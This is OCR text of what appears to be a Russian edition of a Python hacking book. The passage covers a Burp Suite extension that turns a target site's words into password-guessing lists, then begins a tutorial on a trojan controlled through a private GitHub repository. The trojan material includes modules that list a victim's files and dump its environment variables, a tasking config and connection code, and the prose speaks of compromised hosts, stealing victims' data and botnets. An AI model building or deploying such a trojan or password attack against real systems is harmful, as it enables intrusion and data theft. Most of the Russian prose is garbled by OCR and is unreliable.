from javax.swing import JIMenuItem

from datetime import datetime
from HTMLParser import HTMLParser

import re

class TagStripper(HTMLParser):
def __init_ (self):
HTMLParser.__init_ (self)
self.page_text = []

def handle_data(self, data):
self.page_text.append(data) ©

def handle_comment(self, data):
self.page_text.append(data) @

def strip(self, html):
self.feed(html)
return " ".join(self.page_text) ©

class BurpExtender(IBurpExtender, IContextMenuFactory):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
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self.context = None
self.hosts = set()

# HauuHaem c napons, KOTOpbIi, Kak Mbl 3HaeM, 4acTo BCTpevaeTcs
self.wordlist = set(["password"]) @

# noarotaBnAMBaem CBOe paclMpeHue
callbacks.setExtensionName("BHP Wordlist")
callbacks.registerContextMenuFactory(self)

return

def createMenuItems(self, context_menu):
self.context = context_menu
menu_list = ArraylList()
menu_list.add(JIMenuItem(
"Create Wordlist", actionPerformed=self.wordlist_menu))

return menu_list

Bam y:ke /0JKeH ObITh 3HAKOM KOJI, IPUBEICHHBIN B 9TOM JINCTHHTe. BHauase
MBI IMITOPTHPYEM HeOOX0AUMbIe MOy, BermomorarteibHblii Kirace TagStripper
nozBouut yopars HTML-tern u3 HTTP-oTBeT0B, KOTOpBIE MBI 1I037K€e Oy 1eM 06-
pabGatbiBath. Ero MeTos1 handle_data coxpaHsieT TEKCT CTPAHUIIBI B TEPEMEHHYIO
page_text @. MbI Tak:Ke orpesiessieM MeTo handle_comment, TOCKOJIbKY HYKHO
TaksKe 100aBUTh B CITMCOK TapoJiell CJI0Ba U3 KOMMEHTapueB pa3paboTIYNKOB.
Ha camowm jiesie handle_comment ripocto Bbi3biBaeT handle_data @ (Ha ciyuaii,
€CJIN TI037Ke 3aX0UYETCsT TTO-APYromMy 00pabaThiBaTh TEKCT CTPAHUILBI).

Merox strip nepemaer HTML-kox 6a3oBomy Kiraccy, HTMLParser, 1 BO3Bpaliaer
WUTOTOBBII TEKCT CTPAHUIIBI ©, KOTOPBIN HaM IIPUTOAUTCS M033Ke. Bee ocTaibHoe
MMOYTH UJIEHTUIHO HAaUYaJIbHON YacTu CKpUIITa bhp_bing.py, KOTOPBIN MBI TOJIBKO
yTo ponucany. Kak u mpexze, Mbl XOTUM CO3/IaTh MMyHKT B KOHTEKCTHOM MEHIO
MTOJTh30BaTENbCKOTO MHTePdetica Burp. 113 HOBOTO 371eCh TOIBKO TO, YTO CITOBAPh
XPaHUTCA B MHOKeCTBe (set), Guarogapst yeMy yaacTcst u3bexkarh 100aBIeHUs
O/INHAKOBBIX CJIOB. Mbl MHUITMAIU3UPYEM 3TO MHOXKECTBO C TIOMOIIBIO BCEMU
J06uMoro naposist password @, IpocTo YTOOBI He 3a0bITh BHECTU €0 B UTOIOBLIIA
CITUCOK.

Tenepb qo6aBUM JIOTUKY, KoTopas Oyzet npespaiiarh HTTP-Tpaduk, BbiOpaHHbIit
Hamu B Burp, B 6a30Bblii ciioBapb:

def wordlist_menu(self,event):
# n3BNeKaem nNoApobHOCTM O TOM, MO YeMy WesSKHY/N Mosb30BaTesb
http_traffic = self.context.getSelectedMessages()
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for traffic in http_traffic:
http_service = traffic.getHttpService()
host = http_service.getHost()
self.hosts.add(host) @
http_response = traffic.getResponse()
if http_response:
self.get_words(http_response) @

self.display_wordlist()
return

def get_words(self, http_response):
headers, body = http_response.tostring().split('\r\n\r\n’, 1)

# nponyckaem HeTeKCTOBble OTBEThI
if headers.lower().find("content-type: text") == -1: ©
return

tag_stripper = TagStripper()
page_text = tag_stripper.strip(body) ©

words = re.findall("[a-zA-Z]\w{2,}", page_text) ©

for word in words:
# filter out long strings
if len(word) <= 12:
self.wordlist.add(word.lower()) O

return

[TepBbiM JesI0M olpesenseM MeTos wordlist_menu, KOTopbiii oOpabaThiBaeT
BbIOOP IYHKTOB MeH0. OH coXpaHsieT UMt OTBETHBINEro Xocta @ /s fajibHeii-
Iero ucnojb3oBanus, 3ateM uspiaekaeT HTTP-oTBeT u mepenaer ero metomy
get_words @®. [Tocie aToTO get_words MPoBEPSIET 3aTOJIOBOK OTBETA — €CJIU OTBET
He TEKCTOBBIIA, ero He Hy:KHO oOpabarbiBaTh ©. Kiace TagStripper @ y6upaer
HTML-kox U3 octasiiierocs Tekcra cTpaHuilbl. Mbl UCIIOJIB3YEM PEryJsipHOe
BhIpaskenue \w{2,} ©, yToObl HaliTH BCe CJI0Ba, KOTOPbIe HAYMHAIOTCSA ¢ anda-
BUTHBIX CUMBOJIOB M COZIEPsKAT He MeHbIe AByX 6yKB. CJI0Ba, COOTBETCTBYIOIINE
9TOMY I1a0JIOHY, IEPEBOAATC B HUKHUN PETUCTP M COXPaHSIOTCs B wordlist @.

Terepsb JOMOMHUM HAII CKPUIIT TaK, YTOOBI OH MOT 0TOOpaskaTh cPOPMUPOBAHHBII
CJI0Baph U BUIOU3MEHSITD €T0 COEPKUMOE:

def mangle(self, word):
year = datetime.now().year
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suffixes = ["", "1", "!", year] ©
mangled = []

for password in (word, word.capitalize()):
for suffix in suffixes:
mangled.append("%s%s" % (password, suffix)) @

return mangled

def display_wordlist(self):
print ("#!comment: BHP Wordlist for site(s) %s" % ", ".join(self.hosts)) ©

for word in sorted(self.wordlist):
for password in self.mangle(word):
print password

return

Otanano! MeTtos mangle IpUHUMAET MCXOIHOE CJIOBO M TIPEBpaAIlaeT ero B Ha-
60p MOTEHIIMAIBHBIX APOJIE ¢ IPUMEHEHIEM PACIIPOCTPAHEHHBIX CTPATEIHil.
B maHHOM TIprMepe Mbl co3/1aeM CIUCOK cy(hHUKCOB 1 10O6ABIsIEM K KaKIOMY
n3 HUX Tekyuuii rox @. Janpire nukandecku nepebupaeM ot cyhGUKCH
U 10 ouepean 106aBsieM X K UCXOAHOMY CJIOBY @, 4TOOBI CO3/1aTh YHU-
KaJIbHBII BapMaHT MapoJisd. 3aTeM JJIs Pa3Ho00pasusl IMOBTOPSIEM TOT UK,
HO C MCXOJHBIMU CJIOBaMH, TlepeBe/IeHHBIMIA B BEPXHUN peructp. B meTome
display_wordlist MbI BBIBOJUM KOMMeEHTapuii ©, 4To6bl He 3a0bITh, KAKUe
CalThl UCITOJIB30BATNCH JIJISI TeHEePaIlMy ATOTO CJIOBaps. 3aTeM BUIOU3MEHSIEM
KasKJI0€ UCXO/IHOE CJIOBO M BBIBOAUM pe3yJbraThl. [Ipuiiio BpeMst onpoboBath
ATOT CKPHIIT B JIEJIE.

MpoBepka HaNUcAHHOro

Ilepeiiure Ha Bkaaaky Extender (Pacmiupurens), Haxkmute Ha KHOTIKY Add (/lo-
GaBUTb) W 3aTEM BBITIOJHHUTE TY JK€ MPOIELYPY, KOTOPYIO MbI HCTIOJIb30BAJIN JIJIst
perucTpary mpeablyIero pacimpenus. B pesysbsrate pacimpenne Wordlist
JIOJKHO OBITH TOTOBO K pabore.

Boi6epute New live task (HoBoe aktuBHOe 3a1atne) Ha BKJake Dashboard (ITanesb
YIPaBJIeHU ), KaK MoKa3aHo Ha puc. 6.12.

Korna na sxpame mosgBUTHCS AMAJIOTOBOE OKHO, BbI6epI/ITe Add all links observed
in traffic (J{obaBsisATh Bee ceblIkM, OOHapysKeHHble B TpaduKe), Kak 0Ka3aHO Ha
puc. 6.13, n HaxkmmTe OK.



144 Fnaea 6. Pacwmpenme npokcu Burp Proxy

mporary Project

Burp Project Intruder Repeater Window Help
JW]W | Proxy [ intruder | Mepeater | Sequencer | Decoder | Comparer | Extender | Project options | User options |

T m ®EO . Upgrade to Burs Suite Professional to ically find vulnerabilit

»
T Filter  Running  Pawsed  Finished Issue activity [Pro version only] CF
Y Filter High  Medium  Low  Info Certain  Firm  Tentative
1. Live pazsive crawd from Proxy (all traffic) ®ee
Add links, Add item itself, same doma... 0 items added to site map lrua type | Host | P
i <oz gt tranf o (el T bank.com  fur &
e 0 responses processed ) SMTP haader injection httpifinsecure-website....  fc
i - ! Serinlized object in HTTP measzage hetpijinsecure-bank.com bl
% rasponses queved ! Cross-site seripting (DOM-based) hitps ifinsecure-bank.com
! XML external entity injection hitps/fvulnerable-websi...
1| b External service i von (HTTPL h bt toe ¥

e al, J T
Event log @ _[—] i
T Filter E 0 oo P |bearch

Time ¥ | Type | source | Mezzaga

11:53:49 23 Mar 2020 info Suite This version of Burp Suite w
11:53:46 23 Mar 2020 info Praxy Proxy service started on 12
- T T

Memory: 1327M8 BT Dislcieke C———)

Puc. 6.12. UHnummpyem ckaHmMpoeaHue ¢ nomotwbio Burp

New live task

6 Task Type
Scan details
Live audit (Pro version enly) Cho fis i
@ Live passive crawl Cheose predefined task...
@ Add all itemsz requested through Proxy to site map
Scan i i
Tt Tools Scope Add all links observed in traffic through Proxy tikiite map
@ Select the tools whose traffic will be inspected to select items that are processed by the live task.
Resource ] Proxy [] Repeater  [] Intruder
pool
URL Scope

Dafine which itame are processed by the live task, based on their URL.
@ Everything

) Suite scope

() Custom scope

Deduplication

Select whether items to be processed are deduplicated based on their URL and parameter names. Use this option to aveid processing the
same item more than once.

[ Ignore duplicate items based on URL and parameter names

)

Puc. 6.13. Hactpoiika ckaHepa ¢ nomouwsio Burp
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Burp Suite Community Edition v2.1.04 - Temporary Project

Burp Project Intruder Repeater Window Help
IDMImiPrcr,- Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options |

[tmana] scvv | e saitins

Filtwr: Hiding not found items; hiding C55, image and general binary content: hiding 4xx responses; hiding empty folders €]
> hitpulidetectportal firefox.com ] | Method | URL Params | Status A | Length | W
httptastphp.
SR = T 200 5143 Ha

f
wit
BCLES

Remove from scope L/ Wb

[_. : Scan [Pro varsion only]
= Sendto Comparer (i

Raw Send to Comparer (responses)
GET farti| SendtoBing

Accept: *
Accept-La| Compare site maps

Connectic| Add comment

Highlight >
Delete selected items

Copy selected URLs

Copy links in selected items

Save selected items

Show new site map window

Site map documentation

Te

e EBEE M~

Puc. 6.14. Mepeaaua sanpocos pacwupermio BHP Wordlist

Korna BbI ckoHGUTYpUpPYyeTe MPOIlecC CKAHMPOBAHNUS, 3aITyCTUTE €T0, OTKPHIB
ampec http://testphp.vulnweb.com/. Kak Tosibko Burp mpoiizer mo BceM cChIIKaM Ha
3a/IaHHOM caliTe, BBIGEPUTE BCE 3AIPOCH B ITPABON BEPXHEIl MaHE N Ha BKJIAIKE
Target (Ilesip), meKHUTE HA HUX MPABON KHOMKOIN MBIIIH, YTOObI 0OTOOPA3UThH
KOHTEKCTHOE MeHI0, 1 BbiOepuTe myHKT Create Wordlist (CosaaTh cioBaphb), Kak
moKa3ano Ha puc. 6.14.

Ternepp npoBepbTe B CBOEM pacHImpeHnu BKIaaKy Output (BeiBon). B peanbHbIx
YCJIOBUSIX MBI ObI COXPAHUJIM 9TOT CJIOBaph B (hailji, HO B IEJISAX JIeMOHCTPAIUH
orobpasum ero B Burp, kak na puc. 6.15.

Ceituac aTOT BBIBOJ| MOKHO TiepeziaTh 0OpatHo B Burp Intruder, uto6bt1, cobcTBEHHO,
[IPOBECTH aTaKy Mo MoA60py MmapoJieil.



146 Tnaea 6. Pacwupenue npokcu Burp Proxy

Burp Suite Community Edition v2.1.04 - Temporary Project

Burp Project Intruder Repeater Window Help
ID-MIW -:Mlmlmlmlwlmlwmwlmmw]

Burp Extensions @

Extensions let you customize Burp's behavier using your own or third-party code.

[ Add ] [Loaded | Type | name
@ Pythen bhp_fuzzer.py
Remave ] Python BHP Bing
] @ Python BHP Wordlist
(ST
Down |
Details | Output | Errers
() Output to system conscle @
O Saveto file: Select file ...
@ shewin Ui
[Farzoza a
forgery
fargeryl
fargery!
forgery2020
Fargery
Forgeryl
Fargery!
Forgary2020
fractal
fractall
fractal!
fractal2o20
Fractal v
@ < |[+][=][ clear Type a search term | © matches

Puc. 6.15. Crnicok naponei, OCHOBAHHLINA HO COAEPXXMMOM ATAKYyemoro Beb-canTta

Wrax, Mbl TiposieMoHCTpUpoBaIn HebobIyI0 YacTh API Burp, crenepuposas
cOOCTBEHHOE COIEPIKUMOE JIJIs aTaKu U pa3paboTaB paclIMpeHiisi, B3auMO/eii-
CTBYIOIINE C [10JIb30BaTeIbCKUM MHTepdeiicom Burp. B xoze tectupoBanus Ha
IIPOHIKHOBEHIE TIEPEe]] BAMHU 4acTO Oy/IyT BOSHUKATD OTpe/IeIeHHbIe 32241 U He-
obxoaumocTb B aroMatusanuu. Burp Extender API npexocrasisier 3amedareib-
HBIH nHTEPGETIC, C TOMOIIHIO KOTOPOTO BBI CMOJKETE BEIMTH U3 CITOKHON CUTYAITUN
WJIH, TI0 KpaiiHeil Mepe, M36esKaTh MOCTOSTHHOTO KOTIMPOBAHUSI TIEPEXBAUYEHHBIX
JAHHBIX 13 BUrp B pyrue NHCTPYMEHTHI.



YaaneHHoe ynpaBneHue
¢ nomouwiblo GitHub

l—IpeI.[CTZ:lBI)Tey YTO BbI B3JIOMaAJIM KOMITbIOTEP. n TEIEPb
XOTHTE, YTOOBI OH ABTOMATUYECKH BBIOIHSI 3aaHUs

1 coobmias BaM o pesyJibratax. B aToii riase Mbl cozaa-
1AM (PEMBOPK JIJIsT TPOSTHOB, KOTOPBIN OY1€T BBITJISIIETD
6e3001IHO B yIQJIEHHOI CHCTEME, HO CMOJKET BBITIOJIHSITH
[0 BallleMy TIPUKa3y BCEBO3MOKHbBIE CKBEPHbIE [eHCTBUSL.

OjiMH 13 caMbIX HEIPOCTBIX aCIeKTOB pa3paboTKK XOpoIero (hpeiiMBopKa st
TPOSIHOB COCTOUT B BbIpabOTKE MeXaHM3Ma yIPaBJIeHUsT 1 OOHOBJIECHHS BaIllero
KOJIa, a TaK’Ke TIOJIyYeHUs OT HeTo JaHHbIX. Kpaifie BaKHO HAJTM41ie OTHOCUTETHHO
YHUBEPCATBHOTO Crocoba mepeiayn Kojia yAaJleHHbIM TpostHaM. Takast rTHOKOCTh
MTO3BOJIUT BaM BBITIOJTHATH Pa3Hble 33/1a4M B PA3JIMYHBIX cucTeMax. K Tomy ke
TPOSTHAM MHOT/IA HYKHO Oy1eT BIOOPOYHO TiepeiaBaTh KOJI, PACCYMTAHHBIN JIUIIb
Ha OIpe/leJIeHHbIE OTIePAIMOHHbBIE CUCTEMBI.

3a robl XaKepbl BhIPadOTAIM MHOKECTBO TBOPYECKIX METO/IOB YIaJIeHHOTO YIIPaB-
JIEHWST, KOTOPbIE OTMPAIOTCS Ha TaKWe TeXHOJOoruu, Kak nmporokos IRC u maske
Twitter, HO MbI ITOTIBITAEMCST IPUMEHUTD CEPBUC, KOTOPBIH I€HCTBUTEIBHO ITPeIHA-
3HaueH /st paboTsl ¢ KogoM. Mcnosbayem GitHub st xpanenust koHburypamm
TPOSIHOB U TAWHOTO U3BJICUEHHS JAHHBIX U3 CUCTEM HAIINX KepTB. Kpome Toro, Ha
GitHub 6ynyT pasmernarbest Bce MOAYJIM, HEOOXOAMMBIE TPOSTHAM JIJIS BBITTOJTHEHMST
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3amanuii. YToOBI BCe 3TO OPraHu30BaTh, MOANDUITIPYEM CTAHIAPTHBII MEXaHI3M
umriopra 6ubsanorek B Python — 910 03BOINT cO3/aBaTh HOBBIE MOLYJIH, KOTO-
pbi€ TPOSIHBI CMOTYT aBTOMATUYECKH M0JIy4aTh BMECTE CO BCEMU 3aBUCUMOCTSIMU
HETIOCPE/ICTBEHHO U3 BaIETO PEITO3UTOPUSL.

WcnonbzoBanue GitHub s aTux meseit MokeT oKasaThCst OCTPOYMHOI cTpare-
rueit: Bai Tpaduk K aToMy cepBucy Oyaet mmdpoBarthes ¢ momorbio SSL, a Ham,
aBTOPaM, OY€Hb PEIKO BCTPEYAIOTCST OPraHU3aIMK, KOTOPble HAMEPEHHO OJIOKH-
pyior cam BeO-caiit GitHub. Mbl OyeM HCIOIb30BaTh 3aKPBITHIN PETIO3UTOPUI,
4TOOBI CKPHITh CBOM JAEUCTBHS OT JIFOOOIBITHBIX TJIa3. Peaqns3oBaB HysKHbIE BaM
BO3MOJKHOCTH B CBOEM TPOSTHE, BbI, TEOPETUYECKH, CMOXKETE MPeoOpasoBaTh CBOil
KO/l B IBONYHBIN (DAiiJT ¥ IOCTABUTD €70 Ha B3JIOMaHHBII KOMITBIOTED, T/Ie OH OyIeT
BBITIOJIHATHCS] HEOTPAHUYEHHOE BPeMsT. A BbI CMOXKETE CJIATh €My KOMAaH/IbI U ITPO-
BEPSATD Pe3yJIbTaThl ero paboTsl ¢ momoribio GitHub.

NMogroTtoBka yuetHon 3anucu GitHub

Ecan y Bac emie Her yuyernoii sammucu GitHub, mpofiaure mo agpecy https://github.
com/, 3aperucTpUpPyiTeCh U CO3AaiiTe PEMO3UTOPHUIT IO/l Ha3BaHWeM bhptrojan.
3arem ycranosute 6ubanoreky Python GitHub API (https://pypi.org/project/
github3.py/), 4T0OBI aBTOMATH3UPOBATH CBOE B3AUMOAEHCTBHE C HUM:

pip install github3.py

Tereps cozmaanm 6a30ByI0 HH(OPACTPYKTYPY /IS PENo3uTopus. Beeaute B Ko-
MaH/IHOH CTPOKE:

mkdir bhptrojan

cd bhptrojan

git init

mkdir modules

mkdir config

mkdir data

touch .gitignore

git add .

git commit -m "Adds repo structure for trojan."
git remote add origin https://github.com/<yourusername>/bhptrojan.git
git push origin master

R R R R

3/1ech MBI CO3/IAJIM UCXO/IHYIO CTPYKTYpY perno3utopusd. Kartasnor config xpanut
YHUKaJbHBIE KOH(DUTYpannonuble hailasl A Kaxkaoro Tposina. Ham nyxHo,
4T0OBI BCE Pa3BEPThIBAEMbIe TPOSTHBI BHITIOJHSIJIN PA3HbIE 3a/[a4H, TIO9TOMY OHH
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OyayT 3anpanmBaTh COOCTBEHHbIE KOH(UTYparnonble daiiibl. B manke modules
HAXOAUTCS BECh MOJYJIbHBIN KO, KOTOPBII TPOSIH JOJIKEH 3arPy3UTh W BBIIIOJI-
HUTb. MBI BOCIIOJIb3Y€EMCSI CIIEIHATbHBIM IIPHEMOM, KOTOPbIN MO3BOJUT TPOSTHAM
UMIIOPTUPOBATH OMOANOTEKN HEIIOCPEACTBEHHO U3 HAIIETO PEHO3UTOPUS Ha
GitHub. Baarogapst BO3MOKHOCTH yIaJ€HHOI 3aTPy3KU MBI CMOKEM XPAHUTh
B GitHub takske cropontue 6ubMOTEKH, YTOOBI BaM He MIPUXOANIIOCH TIOCTOSH-
HO [IePEeKOMITNINPOBATh CBOM TPOSIHBI KasK/IbIil pas, KOraa Bbl J00ABJIseTe HOBYIO
(DYHKIMOHATBHOCTD WM 3aBUCUMOCTH. B manky data Tposin Oyzer 3anuchbiBaTh
Bce cOOpaHHbIE UM JAHHbIE,

Moskere co3paTh cOOCTBEHHBII TOKeH JocTyna Ha caiite GitHub u ucnonbzoarhb
€T0 BMECTO TTapoJis IIPU BbITIOJIHeHNH ortepaltuii Git ¢ momonisio API 1o mpoTokoy
HTTPS. 9T0T TOKEH I0JKEH IaTh HANIEMY TPOSHY BO3MOXKHOCTb YUTATh CBOTO
KOH(DUTYPAIINIO 1 3aITKChIBATH CBOU BBIBOJL. UTOObI €T0 CO3/1aTh, CIIE/LyITe MHCTPYK-
musam Ha caiite GitHub (https://docs.github.com/en/github/authenticating-to-github/)
1 COXpaHNTE TMOJTYYCHHYIO CTPOKY B JIOKATBHBIN (hailn ¢ nMeneM mytoken.txt.
3arem obaBbTe mytoken. txt B (haiisr . gitignore, 4TOGBI CTyYailHO He 3arPy3UTh
CBOM yYeTHBIE IaHHbIE B PETIO3UTOPUH.

Temeps cos3maanM HECKOIBKO TTPOCTHIX MOAYJIEeH U KOH(MUTYPAIMOHHBIN (Dafi,
KOTOPDI ITOCITYKUT IIPUMEPOM.

CospaHmne mopynen

B nociiepyromux riaBax Bbl Oy/ere pojebiBaTh CBOUMHU TPOSITHAMU CKBEPHBIE
BeIW — HallpuMep, 3allMChIBaTh HasKaTU KJIaBUII U CO3/laBaTh CHUMKU DKpaHa.
Ho a1 Havasia HanmuimeM HECKOJIbKO POCTHIX MOJYJIed, KOTOPbie MOKHO Oy/1eT
JIETKO TIPOTECTUPOBATh U pa3BepHyTh. CosmaiiTe daiir dirlister.py B KaTajore
modules u Ha6ep1/ITe CTIeIYIOMUI KOJI:

import os

def run(**args):
print("[*] In dirlister module.")
files = os.listdir(".")
return str(files)

B aTom HEOOIBIITOM (hparMeHTe Kofia oTpeesena yHKIINS run, KOTOpas BO3Bpa-
1aeT CIMCOK BeeX (DailioB B TEKYIIei marke B Bujie CTPOKU. Kakbrii MOy b, KO-
TOPBII BbI paspabaTbiBaeTe, 10JKEH PEIOCTABIATh (DYHKIIUIO run ¢ TIEPEeMEHHBIM
YUCJIOM apTyMeHTOB. Biaroiapsi aToMy Bee MOJLyJIU 3arpy>KaloTCst OJIMHAKOBO, HO



150 Tnaea 7. YaaneHHoe ynpaeneHue ¢ nomouwsio GitHub

MO3BOJIAIOT BaM ITPH JKeJIAaHIN MOAN(MUITNPOBATH KOH(MUTYPATTMOHHBIE (DIl 17151
nepesayn Ipyrux apryMeHTOB.

Temepn co3maauM elre 0JluH MOIYJb B dhaiiie environment.py:
import os

def run(**args):
print("[*] In environment module.")
return os.environ

ITOT MO/LYJIb IIPOCTO U3BJIEKAET BCE [I€PEMEHHbIE OKPY;KEHUSI, TPUCYTCTBYOIHE
B yIAJIECHHON cucTeMe, B KOTOPOU BBITIOJIHSIETCS TPOSIH.

3arpysum aToT Koj1 B periozutopuii Ha GitHub, 4ro661 1M MOT m0JIB30BaTHCST TPO-
sti. Haxois1ch B KaTasiore CBOETo OCHOBHOTO PEMIO3UTOPHST, BBEIMTE B KOMAHIAHOI
CTPOKE CJIe/IyTOIIee:

$ git add .

$ git commit -m "Adds new modules"
$ git push origin master

Username: *¥xk*xkx

Password: *¥¥k**xk

BbI 10JKHBI YBUIETH, 4TO Balll KOJ 3arpyskaercs B penosuropuii va GitHub, —
BOW/INTE B CBOIO YUETHYIO 3alUCh U niepenpoBepire! VIMeHHO TakiM 06pa3oM Bbl
MOJKeTe MTPOI0JIKATE Pa3paboTKy CBOETro Kojia B asbHelieM. [ycTh nHTerparst
GoJiee CJIOKHBIX MOLYJIEH OyIeT BallliM JTOMAITHIM 3a[aHIEM.

Yrob6bl IPOBEPUTH JIF0OO0IT CO3aHHbIIT BaMKi MO/YJIb B paboTe, 3arpy3uTe ero Ha
GitHub u BrII09nTE B KOHGUTYpAIIMOHHOM (haiiie /1ist IOKATbHOI BEPCHU TPOSTHA.
TakyuM 06pasoM ero MoKHO TIPOTECTUPOBATH B BUPTYyaabHON Marmne (BM) naun
MTPOCTO HA KOMITHIOTEPE, KOTOPBII HAXO/IUTCS MO/] BAIIIUM KOHTPOJIEM, TIPEK/IE YeM
MO3BOJINTH OJTHOMY M3 y/TAJIEHHBIX TPOSHOB TOAKIIOYUTH U NCTIOJIB30BATh 3TOT KO/I.

Hacrponka TposiHa

Mp5bI XOTUM TTOPYYUTD TPOSHY BBITIOJTHEHUE OTPEIEICHHBIX AeUCTBUN. ITO O3HA-
YaeT, 4TO HaM HY’KHO KaK-TO COOOIIATh €My O TOM, KaK¥e JeiiCTBUST CJIe/LyeT Bbl-
HOJTHUTD ¥ KaKUe MOJIYJIM €MY JIJISI 9TOTO MOoHa00s1TCst. Takoil ypoBeHb KOHTPOJIS
obecrieynBaeT KOHGUTypannoHHbIN (haitn. OH TakKe MO3BOJTUT (HaKTUIECKU
OCTaHOBUTH paboTy TPostHa (JIJIs1 HTOTO JOCTATOYHO HE TOPydYaTh eMy HUKAKUX
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3aJIaHKil), €CJIM HaM 3aX04eTcst ATO ceaarh. YTo6bl OpraHM30BaTh TaKylo CHCTe-
MY, Y KaK/IOTO TPOsiHA, KOTOPBIN BBl Pa3BEPThIBAETE, MOJIKEH ObITh YHUKAJIbHBIN
upeHTU(hUKaTOp. ITO MO3BOJIUT IPYNIUPOBATH 0O IPUHUMAEMble JaHHbIe
110 cootBeTcTBYIONMM ID 1 yKasbiBaTh, Kakue AeCTBUS HOJKHBI BBIIOJIHITD Te
WUJIU UHbBIE TPOSHBI.

CkoHbuUrypupyem TposiH Tak, 4ToObl OH UCKaJl B Karajore config cdhaiia TROJA-
NID.json ¢ mpocThiM foKyMeHToM B hopmaTe JSON. Mbl MOskeM pa3oOpaTh STOT
JIOKYMEHT, 1peobpa3oBath B cjoBapb Python u 3aTeM ¢ ero momoIipo mpouH-
(hopmupoBath TPOSIH O TOM, Kakue 3a/anust Hy;KHO BbinoaHnTb. Mopmar JSON
MTO3BOJISIET JIETKO U3MEHSTH KOH(MUTYpaIlmoHHble napamerpsl. [lepeiinure B cBOO
manky config u co3matite Tam (aiis abc. json co CIeTYIOMIM COAEPKUMBIM:

{

"module" : "dirlister"
s
{

"module" : "environment"
}

ITO BCETO JINITH MTPOCTON CIUCOK MOAYJEH, KOTOPBIE JI0JIKEH BBITTOJIHUTH y/la-
JleHHbIi TposiH. [To3ske BBl yBUAMTE, Kak MbI pounTtaeM 3ToT JSON-7I0KyMeHT
u nepebepeM Kask/Iblil mapamMmeTp, 4TOObI 3arPY3UTh STH MOJLYJIH.

[TpusymbiBasi HOBbIe MOJIYJIU, Bbl, BEPOSTHO, 3aXOTUTE UCIIOJIb30BATD JIOTTOJTHH-
TeJThbHBIE KOH(MDUTYPAITNOHHBIE TTAPAMETPHI, TAaK¥e KaK MPOI0JIKUTETHHOCTH BBITTOJ-
HEHUsI, KOJTUYECTBO 3aITyCKOB WJIM CITUCOK aPTYMEHTOB, ME€PeIaBAEMbIX MOIYJIIO.
Bbi Takske cMoskeTe 06aBUTh pa3Hble METO/bI Tiepeadyr COOPAHHBIX JAHHBIX (9TO
Oy/IeT POJIEMOHCTPUPOBAHO B riaBe 9).

Ilepeiiiure B KOMaHHYIO CTPOKY M, HAXO/ISICh B TIAlIKe CBOET0 OCHOBHOTO PEIo-
3UTOPUS, BBEJIUTE CJIE/yloNIee:

$ git add .

$ git commit -m "Adds simple configuration.”
$ git push origin master

Username: *¥¥idxkx

Password: *¥ikxkkx

WTax, BB TOATOTOBMIIN KOHMUTYpAIMOHHbIE (haliTbl T HECKOIBKO MMPOCTHIX MOJTY -
Jielt 1714 BbinosiHenus. Terepb NPUCTYNIUM K CO3/IaHUIO TJIABHOTO TPOSTHA.
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PaspaboTka TposiHO, KOTOpPLIN ymeeT paborarhb
¢ GitHub

Hamr riasueiii Tposit Oyzer sarpyskath us GitHub mapamerpsr kondurypaimm
U KOJI, KOTOPBIN HYKHO BBITIOJHUATD. /{J1s1 Hauasia HanuieM QyHKITUN J1JIsi COe/IH-
Henust ¢ GitHub API ¢ mocsieaytomumu ayreHTHGUKAIMEN U B3aUMOJIEHCTBHEM.
Cospaiite daiin git_trojan.py u HabepuTe CJAeAyIOINIEE:

import base64
import github3
import importlib
import json
import random
import sys
import threading
import time

from datetime import datetime

ITOT MPOCTOI MOATOTOBUTEBHBII KO COAEPIKUT BCE HEOOXOANMbBIE MHCTPYKIIUN
UMIIOPTA, YTO J0JIKHO CeJIaTh 0O pasMep TPOsiHA B CKOMITUJIMPOBAHHOM BHJIe
OTHOCHTEJIbHO HEGOBINNUM. MBI TOBOPUM OMHOCUMELbHO, TOTOMY 4TO GOJIBIIMH-
CTBO UCIIOJIHsIEMBIX (hailToB Ha si3bike Python, CKOMITMIMPOBAHHBIX € TIOMOIITHIO
pyinstaller, 3aHuMaioT okoj10 7 M6aiiT (pyinstaller MOKHO B3STh 371€Ch: https://
www.pyinstaller.org/downloads.html). TToJryueHHbIi ABOMYHBIH (haiin OyaeT 10CcTaBIeH
Ha B3JIOMAHHBIN KOMITBIOTED.

Ecuin BbI 3aX0THTE TIPUMEHHTH HTOT MOIXO/ JI7IsT CO3/[AHIS TOJTHOIIEHHOTO 60muema
(ceTn 13 MHOKECTBA TAaKUX TPOSHOB), TO HYKHO aBTOMATU3UPOBATDH BCE ITAIID,
BKJIIOYasl FeHEPALIUIO TPOSIHOB, 3a/jaH1e UX U1eHTU(UKATOPOB, II0TOTOBKY KOH-
duryparmonnoro daiiia ¢ 3arpyskoii B GitHub u komnuistiiinio ucrosssieMmoro
aiima. Mbl He cTaHeM 9TUM 3/1€Ch 3AHUMAThCS 1 TIO3BOJIUM BallleMy BOOOPaKeHUIO
JIOPUCOBATh BCE HEJIOCTAOIIIE 3JIEMEHTBL.

Tenepb nqo6aBuM Koz st paboTsl ¢ GitHub:

def github_connect(): ©
with open('mytoken.txt') as f:
token = f.read()
user = 'tiarno’
sess = github3.login(token=token)
return sess.repository(user, 'bhptrojan')

def get_file_contents(dirname, module_name, repo): @
return repo.file contents(f'{dirname}/{module_name}').content
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ITtu aBe (DYHKIMU OTBEYAIOT 3a B3amMo/eiicTBue ¢ pernosutopuem GitHub.
github_connect cuuTbiBaeT TokeH, co3ganubiil B GitHub @. Bl sanucanu sTot
TOKeH B (aitsr mytoken. txt. Temmeps MbI TpounTaeM ero n3 aToro daiisia u BepHeM
COETMHEHUE C COOTBETCTBYIONUM PEIO3UTOPUEM. Y BaC MOKET BOSHUKHYTH He-
00XOAMMOCTD B CO3J[AHUN PAa3HBIX TOKEHOB JIJIsI PA3HBIX TPOSIHOB, YTOOBI MOKHO
ObLIO KOHTPOJMPOBATh, K KAKUM YacTsIM PETO3UTOPUST UMEET JOCTYTI TOT UJIK
UHOI TpostH. TakuM 06pa3oM, eCJIM JKepTBa aTaK TOMMaeT Bac Ha TOPsiYeM, OHa
He CMOJKET YAAIUTh Bce COOpaHHbIE BaMHU JaHHbIE.

ODynkius get_file_contents npuHuMaeT Ha3BaHUe KAaTaJaoTa, UM MOYJIsI
U COeJIMHEHME C PEIO3UTOPUEM, a B OTBET BO3BPAIlaeT COAEPKUMOE 3a/IaHHOTO
